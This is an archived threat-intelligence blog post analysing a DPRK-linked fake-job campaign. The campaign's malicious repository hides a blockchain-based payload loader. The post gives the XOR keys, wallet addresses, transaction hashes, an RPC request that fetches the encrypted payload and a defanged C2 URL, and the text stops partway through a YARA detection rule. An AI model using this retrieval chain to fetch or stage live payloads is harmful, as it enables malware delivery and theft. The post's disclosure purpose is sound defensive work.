{
	"id": "107ca504-09e7-4e93-9e5d-b61f0a203340",
	"created_at": "2026-04-06T00:16:39.198069Z",
	"updated_at": "2026-04-10T13:11:18.922349Z",
	"deleted_at": null,
	"sha1_hash": "2591fff6bbd28805ce0c5171df4db70159d25238",
	"title": "Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 1)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1261992,
	"plain_text": "Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process\r\n(Part 1)\r\nBy Ransom-ISAC\r\nPublished: 2025-10-20 · Archived: 2026-04-05 19:25:14 UTC\r\nIn September 2025, Ransom-ISAC was brought in by Crystal Intelligence's François-Julien Alcaraz and Nick\r\nSmart to investigate a cryptocurrency and data theft attempt via a malicious private GitHub repository. While\r\nknowledge of the current threat landscape—with the rise of renegade IT workers and payload phishing across\r\nvarious formats—would make most organisations suspicious, this attack vector still succeeds periodically.\r\nHowever, not this time.\r\nWe analysed the repository in a sandboxed environment to determine its full capabilities, uncovering a complex\r\nnetwork of JavaScript obfuscation, AI-generated repositories, and a novel Command-and-Control (C2) technique.\r\nThe C2 leverages Tron/Aptos-based TxDataHiding, where RPC queries return data via cross-chain transaction\r\nmetadata. This technique is particularly effective because it's extremely difficult to trace, especially in isolated\r\nanalysis environments, and the attacker can modify the TxData values at any point. Furthermore, it is not limited\r\nto Tron or Aptos but any blockchain can act as a pointer making this technique particularly dangerous.\r\nThis is the first in a multi-part series analysing the campaign and syndicate in detail to help organisations better\r\nprepare for, understand, and detect such attacks. The store-v repository was designed to impersonate the legitimate\r\n\"node-react-e-commerce\" repository. Its tailwind.config.js file contained a Multi-Blockchain C2 utilising\r\nTron/Aptos via RPC calls to BSC inputs. We were the first to identify and report this technique, which we've\r\ndubbed \"Cross-Chain TxDataHiding\".\r\nHow it Works\r\nHiding malicious payloads within blockchain data has evolved into a sophisticated obfuscation method used by\r\nmodern threat actors. The landscape of these techniques can be divided into two primary categories based on\r\nwhere the malicious data resides within the blockchain infrastructure.\r\nThe first category involves smart contract storage-based hiding, exemplified by Etherhiding. This technique\r\nstores malicious payloads directly within Ethereum smart contract storage slots, which are retrieved through\r\ncontract read operations such as eth_call or eth_getStorageAt . The payload becomes part of the contract's\r\npersistent state, making it immutable and censorship resistant once deployed on the blockchain.\r\nThe second and more versatile category is Transaction Data Hiding, or TxDataHiding for short. Unlike smart\r\ncontract storage methods, TxDataHiding embeds malicious payloads within the input data (calldata) of blockchain\r\ntransactions themselves. These payloads are retrieved by querying historical transaction data using methods like\r\neth_getTransactionByHash . This approach is more flexible because it doesn't require deploying a smart contract\r\n—the malicious data simply lives within the immutable transaction history recorded on the blockchain.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 1 of 20\n\nTxDataHiding has spawned several chain-specific variants including TronHiding (TRON transaction data),\r\nAptosHiding (Aptos transaction arguments), and BinHiding (Binance Smart Chain transaction input data).\r\nThe most advanced evolution of this technique is Cross-Chain TxDataHiding, which leverages multiple\r\nblockchain networks in a coordinated attack chain. In this sophisticated variant, one blockchain acts as an index or\r\npointer system (typically TRON or Aptos), storing a reference to a transaction hash on a second blockchain\r\n(typically BSC). The malware first queries the index chain to retrieve this pointer, then uses it to fetch the actual\r\nencrypted payload from the payload chain's transaction data. Finally, the retrieved data is decrypted using XOR or\r\nsimilar algorithms to reveal the executable malicious code. This multi-chain approach significantly increases\r\nresilience against takedown efforts, as the attack infrastructure spans multiple decentralised networks with\r\ndifferent governance structures and geographic distributions. The cross-chain methodology also provides built-in\r\nredundancy through multiple fallback nodes and alternative blockchain paths, making detection and mitigation\r\nsubstantially more challenging for security teams.\r\nBlockchain-Based Payload Hiding: A Taxonomy\r\nHiding malicious payloads within blockchain data has become an emerging obfuscation technique. The landscape\r\nincludes several distinct approaches:\r\n1. Smart Contract Storage Hiding\r\nEtherhiding - Stores malicious payloads within Ethereum smart contract storage slots, retrieved via contract read\r\noperations ( eth_call , eth_getStorageAt ). The payload resides in the contract's persistent state.\r\nCorrect Examples: Medium - Etherhiding\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 2 of 20\n\nReversingLabs - Ethereum Contracts Malicious Code\r\n2. Transaction Data Hiding (TxDataHiding)\r\nStores malicious payloads within blockchain transaction input data (calldata), retrieved via transaction hash\r\nlookups ( eth_getTransactionByHash ). The payload resides in historical transaction data recorded on the\r\nblockchain.\r\nCorrect Example:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 3 of 20\n\nGoogle Cloud - DPRK Adopts Etherhiding\r\n3. Cross-Chain TxDataHiding\r\nThis technique employs an arbitrary blockchain as a decentralised pointer system to reference BSC transaction\r\nhashes containing encoded and obfuscated payloads. While the implementation examples use TRON\r\n( raw_data.data ) and Aptos ( payload.arguments[0] ), the architecture is blockchain-agnostic—any chain\r\nsupporting custom data fields in transactions can serve as the pointer layer. In the current implementation,\r\nmalware first queries TRON/Aptos to retrieve the embedded hash, then uses eth_getTransactionByHash on BSC\r\nto extract the encrypted payload. This two-stage, cross-blockchain retrieval system provides resilience through\r\ndistributed infrastructure.\r\nCritically, this architecture can extend to multi-stage pointer chains: Blockchain A points to Blockchain B, which\r\npoints to Blockchain C, which finally references the payload on BSC. Each additional layer exponentially\r\nincreases the complexity of detection and blocking, as defenders must monitor and correlate transactions across an\r\narbitrary number of heterogeneous blockchain networks. The only practical limitation is transaction latency, not\r\ncost—enabling attackers to construct pointer chains of virtually any depth at negligible expense.\r\nExample: In one of the payloads, we see a query to get the address of a TRON wallet whereby we can get the\r\nlatest (at the time of writing) parameter from Trongrid.io:\r\nhttps://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions?\r\nonly_confirmed=true\u0026only_from=true\u0026limit=1\r\nWhich returns this:\r\n{\"data\":[{\"ret\":[{\"contractRet\":\"SUCCESS\",\"fee\":1333000}],\"signature\":[\"28dfdd895872826639d5419a4b84a678d1e2494\r\nWhat we are interested in here is the response.data[0].raw_data.data value:\r\n636639316434396366663064333332643839633936616234356563336566393135633833623732633861313438346635313939666262363\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 4 of 20\n\nNow in our case, this needs to be decoded from Hex to UTF-8 then reversed to extract the BSC transaction hash.\r\nYou can script this or use this CyberChef recipe:\r\n0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\r\nNow that the code has retrieved the BSC Transaction hash, it can initiate eth_getTransactionHash to get the\r\nTxData.\r\n// Query BSC with the extracted hash\r\nPOST https://bsc-dataseed.binance.org\r\nBody:\r\n{\r\n \"jsonrpc\": \"2.0\",\r\n \"method\": \"eth_getTransactionByHash\",\r\n \"params\": [\"0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\"],\r\n \"id\": 1\r\n}\r\nFetched it looks like this:\r\nIn our case this is heavily character swapped and XOR-encoded, which leads to other heavily obfuscated JS-based\r\npayloads which we will discuss later in this report.\r\nIt performs this call because BSC copied Ethereum's API for compatibility. Even though the method name\r\nincludes \"eth_\", it queries BSC, not Ethereum. This is not extracting data from Ethereum-based Smart Contracts,\r\ntherefore this is not Etherhiding.\r\nKey Distinction:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 5 of 20\n\nEtherhiding = Smart contract storage-based\r\nTxDataHiding = Transaction data-based\r\nCross-Chain TxDataHiding = Multi-blockchain indexing system\r\nWhy Threat Actors Use Cross-Chain TxDataHiding\r\nTakedown-Proof Infrastructure with Multi-Chain Redundancy\r\nTraditional C2 servers can be seized by law enforcement or shut down by hosting providers within hours, but\r\nblockchain-stored data is replicated across thousands of decentralised nodes worldwide, making removal\r\neffectively impossible. In our example, using Tron or Aptos → BSC provides independent fallback mechanisms\r\nacross different jurisdictions—if one blockchain's API fails or is blocked, the malware automatically switches to\r\nthe next. This costs approximately $1 USD in one-time transaction fees versus $250-1,250 USD/month for\r\ntraditional infrastructure that remains vulnerable to takedowns, updating of BSC transactions average around\r\n$0.15 during the time of writing.\r\nDynamic Payload Updates \u0026 Moving Target Defence\r\nThe attacker can modify payloads at any time by posting new blockchain transactions while the malware's\r\nhardcoded addresses never change, meaning infected machines automatically fetch updated payloads without code\r\nmodifications. If defenders analyse the malware and extract IoCs today, those IoCs become stale tomorrow when\r\nnew transactions are posted, forcing continuous re-analysis. This creates a \"moving target\" where the delivery\r\nmechanism stays constant but actual payloads rotate freely, with no re-infection required.\r\nTraffic Obfuscation \u0026 Censorship Resistance\r\nConnections to blockchain APIs (api.trongrid.io, aptoslabs.com, binance.org) appear identical to legitimate\r\ncryptocurrency wallet traffic, blending seamlessly into millions of daily crypto transactions. Organizations cannot\r\nblock these APIs without preventing all legitimate cryptocurrency usage by employees, creating an impossible\r\nchoice between allowing malware or breaking business operations. Cross-chain implementation amplifies this by\r\nrequiring defenders to block multiple major blockchains simultaneously.\r\nSandbox Evasion \u0026 Analysis Complexity\r\nWhen analysts debug obfuscated code in isolated sandboxes, blockchain requests appear as generic HTTPS to\r\nlegitimate services with no obvious malicious indicators, unlike traditional C2 domains that immediately reveal\r\nintent. Analysts must fully deobfuscate code, execute it, capture blockchain addresses, manually query\r\ntransactions, decode data, and XOR decrypt payloads—a multi-hour process per stage—whereas DNS queries\r\ninstantly reveal malicious domains. If the malware uses cross-chain redirects (e.g., fetching an Ethereum\r\ntransaction that points to a BSC hash), isolated analysis will never discover the final payload without\r\nallowing full internet access, creating an impossible choice between incomplete analysis and risky live\r\nexecution. Even after complete analysis, extracted \"IoCs\" (blockchain addresses/hashes) cannot be blocked\r\nnetwork-wide without disrupting legitimate crypto operations.\r\nAttribution Obfuscation \u0026 Legal Complications\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 6 of 20\n\nBlockchain transactions use pseudonymous addresses funded through mixers, breaking traditional attribution\r\nchains that trace domains/hosting/payments back to threat actors. Cross-chain hopping requires expertise in\r\nmultiple blockchain ecosystems and involves three different legal jurisdictions (Singapore/Tron, US/Aptos,\r\nBinance's multi-jurisdictional structure), making prosecution practically impossible. The decentralised nature\r\nmeans no central operator exists to serve subpoenas to, and coordinating international legal action takes years.\r\nMinimal Forensic Footprint \u0026 Monitoring Difficulty\r\nTraditional C2 leaves extensive evidence (server logs, TLS certificates, hosting records, IP geolocation), but\r\nblockchain C2 creates only pseudonymous addresses and transaction hashes with no servers or logs. Detecting\r\nmalicious transactions among millions of daily legitimate ones requires knowing exact addresses beforehand, and\r\nmonitoring three different blockchains requires specialised expertise most SOCs lack. The operational security is\r\nsuperior with nearly zero forensic evidence for threat actor identification.\r\nAttribution Obfuscation\r\nTraditional C2 infrastructure leaves clear trails through domain registrars, hosting providers, and payment records\r\nthat can be traced back to threat actors. Blockchain transactions use pseudonymous addresses funded through\r\nmixers and exchanges, breaking attribution chains. Cross-chain hopping further complicates forensic analysis by\r\nrequiring expertise in multiple blockchain ecosystems that most investigators lack.\r\nBottom Line: Cross-chain transaction hiding provides a takedown-proof, self-updating C2 infrastructure that\r\ncosts ~$1, evades analysis by appearing legitimate, cannot be blocked without business disruption, and leaves\r\nminimal forensic traces—fundamentally changing malware C2 from a vulnerable chokepoint to an unassailable\r\nadvantage.\r\n🦠 Cross-Chain TxDataHiding Malware - Step-by-Step Summary:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 7 of 20\n\n1. Initial Execution\r\nMalicious JavaScript file executes from weaponised repository, immediately running an obfuscated IIFE\r\n(Immediately Invoked Function Expression).\r\n2. String Deobfuscation\r\nCustom character-shuffling algorithm uses mathematical swapping with a numeric key to decode scrambled\r\nstrings, revealing blockchain addresses, XOR keys, and API endpoints.\r\n3. First Payload Retrieval - Index Chain Query\r\nQueries TRON blockchain API for recent transaction, extracts transaction data field, converts from HEX to UTF-8, reverses the string to obtain a BSC transaction hash (fallback to Aptos if TRON fails).\r\n4. First Payload Retrieval - Payload Chain Query\r\nUses the BSC transaction hash to call eth_getTransactionByHash on BSC RPC nodes (primary node first,\r\nbackup node on failure), extracts transaction input field containing encrypted payload.\r\n5. First Payload Decryption\r\nConverts BSC transaction input from HEX to UTF-8, splits on delimiter to extract encrypted portion, then XOR-decrypts using extracted key to reveal executable JavaScript code.\r\n6. First Payload Execution\r\nExecutes decrypted Payload #1 immediately using eval() in the current process.\r\n7. Second Payload Retrieval\r\nRepeats the entire blockchain query cycle (Steps 3-5) using different blockchain addresses and different XOR key\r\nto retrieve a second independent payload.\r\n8. Second Payload Execution \u0026 Persistence\r\nSpawns Payload #2 as a detached child process with hidden window options, creating a persistent background\r\nprocess that survives parent process termination.\r\n9. Nested Obfuscation \u0026 Further Persistence\r\nPayload #2 itself contains additional obfuscated code using the same character-shuffling technique, potentially\r\nspawning additional detached processes for multi-layered persistence.\r\n10. Multi-Chain Resilience\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 8 of 20\n\nAttack survives takedown attempts through cross-chain distribution (TRON/Aptos for indexing, BSC for payload\r\nstorage), multiple node fallbacks at each stage, immutable blockchain storage, and decentralised infrastructure.\r\nWhy TxDataHiding ≠ Smart Contract Interaction\r\nEtherhiding (the original)\r\nStores payload IN a smart contract's storage\r\nUses eth_call or eth_getStorageAt to read contract state\r\nThe contract actually stores the malicious data\r\nMore permanent, contract-based storage\r\nTxDataHiding (our technique)\r\nStores payload IN transaction input data\r\nUses eth_getTransactionByHash to read transaction data\r\nThe data is in the transaction itself, not a contract\r\nMore ephemeral, transaction-based storage\r\nThe Key Technical Difference\r\n*// Etherhiding reads FROM smart contract:*\r\neth_call([contractAddress, \"getData()\"])\r\n*// or*\r\neth_getStorageAt(contractAddress, slot)\r\n*// TxDataHiding reads FROM transaction:*\r\neth_getTransactionByHash(txHash)\r\n → result.input *// \u003c-- this is the raw tx data, not contract storage*\r\nWhat transaction.input Actually Is\r\nWhen you call eth_getTransactionByHash , the input field contains:\r\nThe raw calldata sent with the transaction\r\nCould be a smart contract function call\r\nCould be arbitrary data sent to an EOA (Externally Owned Account)\r\nImmutable once mined - stored in the blockchain forever\r\nBut it's NOT the same as reading from contract storage - you're reading the historical transaction data from the\r\nblock, not querying a contract.\r\nFull Attack Chain\r\nHere is a high-level overview of this attack end-to-end:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 9 of 20\n\n1. In our case this was an attempt via Telegram of a Social Engineering attack, however there are other\r\nreports of the same vector using a GitHub Dependency Attack.\r\n2. GitHub Repository is cloned/installed after collaboration and run locally on the user's device to execute.\r\n3. Obfuscated code malware contains two payloads via Cross-Chain TxDataHiding.\r\n4. One contains obfuscated malware for another stager of download via Cross-Chain TxDataHiding.\r\n1. This then downloads a ~2500 line obfuscated code which is near impossible to deobfuscate\r\nmanually.\r\n2. Using an online JS deobfuscator allows us to get the code clearer to show an omni-OS NodeJS-based Remote Access Trojan capable of Remote Code Execution (RCE).\r\n5. One obfuscated code code fetches data via http[:]//23[.]27[.]20[.]143[:]27017/$/boot using custom\r\nheaders to download a telemetry capture and malware stager malware that is also a ~2500-line obfuscated\r\nscript.\r\n1. The stager then downloads a obfuscated code after telemetry data is sent to the C2s via the cross-platform RAT in step 1.\r\n2. Once this is captured the malware allows sequently for the next stage of malware to be downloaded\r\nwhich is an obfuscated python code, the final payload.\r\n3. Deobfuscated, we have the smash-and-grab code used to gather almost everything on the device\r\nfrom hard-coded APIs, wallet addresses/passwords, browser credentials/cookies and local password\r\nvaults. Everything is grabbed and later accessed/stolen.\r\nDPRK Fake Job Social Engineering Campaign\r\nThe DPRK have been targeting developers with fake job postings on LinkedIn for a while now, similar reports of\r\nthis include DeceptiveDevelopment, reported in September 2025, utilising the ClickFix campaign, as well as the\r\nnotorious Lazarus' Operation DreamJob in 2023 which trojanised codebases during staged job interviews.\r\nDPRK's Two Primary Motivations in Cybercrime:\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 10 of 20\n\nFinancial Gain: The primary driver is cryptocurrency theft and financial asset exfiltration to generate hard\r\ncurrency for regime survival, circumventing international sanctions that have crippled traditional revenue\r\nstreams. Stolen funds directly finance weapons programs and sustain the regime's economic independence\r\nunder isolation, with cybercrime operations effectively functioning as state economic policy.\r\nEspionage \u0026 Strategic Access: Compromising developers—particularly those in cryptocurrency,\r\nblockchain, and financial technology sectors—serves dual purposes: gathering valuable trade secrets and\r\nintellectual property while establishing persistent access within target organisations. This foothold enables\r\nfuture financial theft operations, intelligence collection on security measures, and insights into technologies\r\nthe regime actively targets for exploitation.\r\nHeadhunt\r\nThe threat actor initiated contact through LinkedIn, advertising a blockchain-based contract position aligned with\r\nthe target's expertise and offering a notably high daily compensation rate. Communication was subsequently\r\nshifted to Telegram under the guise of discussing role details and arrangements.\r\nThe Interview\r\nFollowing the initial outreach, the threat actor conducted a brief interview and assigned a technical assessment\r\ntask to establish legitimacy. The interaction then proceeded as anticipated: an invitation to collaborate on a GitHub\r\nproject, which served as the delivery mechanism for malicious code execution.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 11 of 20\n\nThe code had observations of having unneccesary libraries and work related to secret or proprietary work that\r\nlikely should not have been provided to the potential employer at that point in time. Some other observations\r\nwhich aroused suspicion include:\r\nDiscrepancy between name origin and geolocation\r\nDiscrepancy between appearance and geolocation\r\nDiscrepancy between current location and geolocation\r\nSelectively answering certain questions (such as why is your IP showing in Country A if you claim your\r\nfrom Country B? Are you using VPN?)\r\nDiscrepancy between claimed origin and accent\r\nDiscrepancy between profile picture and camera appearance\r\nContinuously insisted on running the repository (~10 times) while deflecting questions about code origin\r\nand security concerns\r\nHaving identified the job posting as fraudulent, the repository was cloned to an isolated analysis environment for\r\nfurther investigation.\r\nInitial Multi-Payload Stager\r\nSHA256Hash: 16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 12 of 20\n\nWhilst the hunting was not an easy feat given there were tens of thousands of files within this repository, the\r\ntypical sanity checks such as YARA scanning and IOC hunting helped us narrow down the list. Interestingly the\r\nfile was actually tucked away similarly to the DevPopper Technique reported by Securonix:\r\nOur file was found under Store-V/Front-End/Tailwind.config.js . In comparison to our target which is also\r\ntucked out of the way\r\nObfuscation\r\nThe code itself is so well obfuscated that whilst investigating, most of the payloads gathered were not flagged as\r\nmalware on VirusTotal or other Antivirus engines. In our case this first one was luckily:\r\nVirusTotal Analysis\r\nBeyond this, we won't touch too deeply on the obfuscation due to the focus point of this article being Cross-Chain\r\nTxDataHiding.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 13 of 20\n\nPayload Retrieval Summary\r\nUpon deobfuscating this is what was uncovered:\r\nThis payload used Cross-Chain TxDataHiding as discussed in the previous section. This actually had two sets of\r\nAPI calls to the following feeds, which meant two payloads:\r\nPayload 1:\r\nXOR Key: '2[gWfGj;\u003c:-93Z^C'\r\nFetch Chain:\r\n1. Tron: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP → extracts transaction data, reverses it\r\n2. Fallback - Aptos: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e →\r\nextracts from arguments[0]\r\n3. Uses retrieved hash to query BSC: bsc-dataseed.binance.org → eth_getTransactionByHash\r\n4. Fallback BSC: bsc-rpc.publicnode.com\r\n5. Extracts from transaction input, splits on '?.?' , takes second part [1]\r\n6. XOR decrypts and immediately executes via eval()\r\nPayload 2:\r\nXOR Key: 'm6:tTh^D)cBz?NM]'\r\nFetch Chain:\r\n1. Tron: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG → extracts transaction data, reverses it\r\n2. Fallback - Aptos: 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 →\r\nextracts from arguments[0]\r\n3. Uses retrieved hash to query BSC: bsc-dataseed.binance.org → eth_getTransactionByHash\r\n4. Fallback BSC: bsc-rpc.publicnode.com\r\n5. Extracts from transaction input, splits on '?.?' , takes second part [1]\r\n6. XOR decrypts and spawns as detached child process with eval() fallback\r\nTo simulate the fetching of these next payloads, we ran a script PayloadFetcher.js, (which is in the GitHub\r\nrepository), to effectively request Get requests, as well as simulate the XOR and character-shuffling capabilities.\r\nThe following documents the specific endpoints and decryption keys used:\r\nStage 1: Initial Blockchain Query\r\nPayload 1 Fetch:\r\nTRON Address: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\r\nTRON API: https://api.trongrid.io/v1/accounts/{address}/transactions?only_confirmed=true\u0026only_from=true\u0026limit=1\r\nAptos Fallback: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\r\nAptos API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/{address}/transactions?limit=1\r\nXOR Key: 2[gWfGj;\u003c:-93Z^C\r\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 14 of 20\n\n'0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc'\r\nPayload 2 Fetch:\r\nTRON Address: TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\r\nTRON API: Same as above\r\nAptos Fallback: 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\r\nAptos API: Same as above\r\nXOR Key: m6:tTh^D)cBz?NM]\r\nStage 2: BSC Payload Retrieval\r\nPrimary BSC Node: bsc-dataseed.binance.org\r\nFallback BSC Node: bsc-rpc.publicnode.com\r\nMethod: eth_getTransactionByHash using the hash retrieved from Stage 1\r\nExtracts encrypted payload from transaction input data (after ?.? delimiter)\r\nRPC call to host: bsc-dataseed.binance.org method: eth_getTransactionByHash params: [\r\n'0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef'\r\nThese were obfuscated with character rotation and XOR keys with 15 characters each; this led to two more\r\nobfuscated JS codes.\r\nhttps://bscscan.com/tx/0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 15 of 20\n\nNotice wallet 0x9BC1355344B54DEDf3E44296916eD15653844509 which deliberately sends the transaction to an\r\nunused wallet 0x000000000000000000000000000000000000dEaD . The value is deliberately 0 BNB with a\r\ntransaction fee marked as $0.02.\r\nFollowing this address, we see at the time of writing 114 transactions all similar:\r\nhttps://bscscan.com/txs?a=0x9bc1355344b54dedf3e44296916ed15653844509\u0026p=1\r\nRansom-ISAC's View\r\nMandiant and Google Threat Intelligence Group's reports on TxDataHiding were well-written with solid\r\nintelligence. However, we've confirmed that Ransom-ISAC is not alone with these concern. But surprisingly, no\r\none has publicly challenged Mandiant's disclosure by pointing out a fundamental issue: BSC doesn't use smart\r\ncontracts the way Ethereum does, so calling this \"EtherHiding\" is technically inaccurate. Perhaps their reviewers\r\nweren't deeply familiar with blockchain mechanics. Honestly, I only caught this because a friend who runs a\r\nblockchain-based AI startup corrected me—BSC uses input data in transactions, not smart contract storage. Yet,\r\nwe've seen zero pushback on social media about this misclassification.\r\nIn the incident we analysed end-to-end, this happened across three payload stages. But consider the implications:\r\nwhat if the DPRK builds a fully automated deployment system that chains together 10, 100, or even 1,000\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 16 of 20\n\ntransaction hops across a single kill chain, each stage using different heavily obfuscated JavaScript that would\r\ntake weeks to deobfuscate across just six payloads?\r\nWhat if they start leveraging obscure or abandoned cryptocurrencies with little-known RPC providers? What if the\r\nDPRK deploys dedicated RPC infrastructure across hundreds of different APIs, rotating through them\r\nprogrammatically? By the time we're tracking the Mark IV or Mark V iterations of this campaign, we could reach\r\na point where both the cryptocurrencies and the RPC endpoints are completely novel—unknown domains and\r\nblockchain networks that we've never catalogued, with 10s or even 100s of pointers all in a single payload acting\r\nas the stager for the next payload. The number of JavaScript eval() execution stages could rival the hop count\r\nin cryptocurrency mixing/tumbling operations, making attribution or even the destination wallets nearly\r\nimpossible.\r\nWhat if Cross-Chain TxDataHiding is no longer exclusive to state-sponsored threat actors? Given the well-documented pattern of APT techniques commercializing into ransomware ecosystems, these methods could soon\r\nbecome standard operating procedure for financially-motivated groups.\r\nObserving how this campaign has evolved from basic EtherHiding, it appears to be heading towards a largely AI-generated attack ecosystem: automated tunneling infrastructure specifically allocated for weaponised\r\nrepositories, dynamically tailored to different catalogues of targets. This may be the inflection point where\r\ndefenders need to seriously invest in AI-based detection tooling and advanced training specifically for these\r\ntechniques.\r\nWorth noting: even without EDR evasion or disabling tools, this code currently evades detection by modern EDR\r\nsolutions (as of this writing—assuming that will change post-publication).\r\nConclusion\r\nCross-Chain TxDataHiding (or XCTDH) represents a significant evolution in malware command-and-control\r\ninfrastructure, fundamentally shifting the defensive landscape. By leveraging immutable blockchain transaction\r\ndata across multiple chains—TRON/Aptos for indexing and BSC for payload delivery—threat actors have created\r\na resilient, cost-effective, and nearly untraceable C2 mechanism that challenges traditional detection and\r\nmitigation strategies. The DPRK's adoption of this technique in their fake job social engineering campaigns\r\ndemonstrates the rapid evolution from Etherhiding on Ethereum to single-chain TxDataHiding and now to\r\nsophisticated cross-chain implementations that may soon feature dozens or hundreds of transaction hops across\r\nobscure cryptocurrencies.\r\nThe economic asymmetry is stark: attackers spend approximately $1 USD in transaction fees to establish\r\ninfrastructure that costs defenders countless analyst hours to investigate, cannot be blocked without disrupting\r\nlegitimate business operations, and leaves minimal forensic evidence. Traditional defensive chokepoints—domain\r\ntakedowns, infrastructure seizures, network-based blocking—are rendered ineffective against decentralised\r\nblockchain storage. The potential for AI-generated attack ecosystems with automated payload rotation across\r\nnovel blockchain networks creates an attribution and detection challenge that current security tooling is ill-equipped to address.\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 17 of 20\n\nAs APT techniques historically commercialize into ransomware operations, XCTDH will likely become standard\r\ntradecraft for financially-motivated threat actors. This inflection point demands that defenders invest in specialised\r\nblockchain analysis capabilities, AI-based detection tooling, and advanced training to identify and respond to\r\nthese emerging threats.\r\nResources \u0026 Detection Tooling\r\nTo support the security community in detecting and analysing XCTDH attacks, we have made the following\r\nresources publicly available:\r\nGitHub Repository: https://github.com/Ransom-ISAC-Org/LOCKSTAR/tree/main/XCTDH Crypto Heist - Parts\r\n1 and 2\r\nThis repository includes:\r\nInitial payload sample for analysis and testing\r\nFurther YARA rules for detecting TxDataHiding variants and obfuscation patterns\r\nMicrosoft Defender for Endpoint detection rules tailored for this campaign\r\nPayloadFetcher.js - a simulation script demonstrating blockchain query chains and XOR/character-shuffling decryption\r\nThese resources enable security teams to build detection capabilities, hunt for similar threats in their\r\nenvironments, and contribute to the collective defense against this emerging attack vector.\r\nAcknowledgments\r\nWe extend our gratitude to all collaborators who contributed their expertise to this investigation: François-Julien\r\nAlcaraz, Nick Smart, Yashraj Solanki, Joshua Penny, and Michael Minarovic. Special thanks to the Ransom-ISAC members whose collective intelligence and collaborative approach made this analysis possible.\r\nWhat's Next\r\nPart 2 of this series will provide a comprehensive technical deep dive into the complete malware analysis—from\r\ninitial execution through final payload delivery. We'll reverse engineer each obfuscation layer, detail the multi-stage payload architecture, examine the cross-platform RAT capabilities, and analyse the final data exfiltration\r\nmechanisms. Stay tuned for the full technical breakdown of this sophisticated attack chain.\r\nIndicators of Compromise\r\nType Indicator\r\ntailwind.config.js (Initial\r\nPayload)\r\n16df15306f966ae5c5184901747a32087483c03eebd7bf19dbfc38e2c4d23ff8\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 18 of 20\n\nType Indicator\r\nTRON Wallet (Payload1\r\nIndex 1)\r\nTMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\r\nTRON Wallet (Payload1\r\nIndex 2)\r\nTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\r\nAptos Hash (Payload1\r\nFallback 1)\r\n0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e\r\nAptos Hash (Payload1\r\nFallback 2)\r\n0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3\r\nBSC Transaction Hash\r\n(Payload1 Hash 1)\r\n0xf46c86c886bbf9915f4841a8c27b38c519fe3ce54ba69c98d233d0ffc94d19fc\r\nBSC Transaction Hash\r\n(Payload1 Hash 2)\r\n0xd33f78662df123adf2a178628980b605a0026c0d8c4f4e87e43e724cda258fef\r\nBSC Address (Payload 1\r\nand 2)\r\n0x9BC1355344B54DEDf3E44296916eD15653844509\r\nYara Rules\r\nThese detection rules operate exclusively at the filesystem level to identify weaponised repositories within your\r\nenvironment:\r\nrule DPRKObfuscatedJavaScript1 {\r\n meta:\r\n description = \"RepoCrossChainTxDataHiding detection with specific + generic indicators\"\r\n author = \"Ransom-ISAC\"\r\n strings:\r\n // High-confidence specific strings\r\n $s1 = \"global['_V']\"\r\n $s2 = \"global['r']\"\r\n // Generic obfuscation patterns\r\n $obf1 = \".charAt(\" nocase\r\n $obf2 = \".substr(\" nocase\r\n $obf3 = /function \\w{3}\\(\\w\\)\\{/\r\n // Suspicious execution patterns\r\n $exec1 = \"require\"\r\n $exec2 = 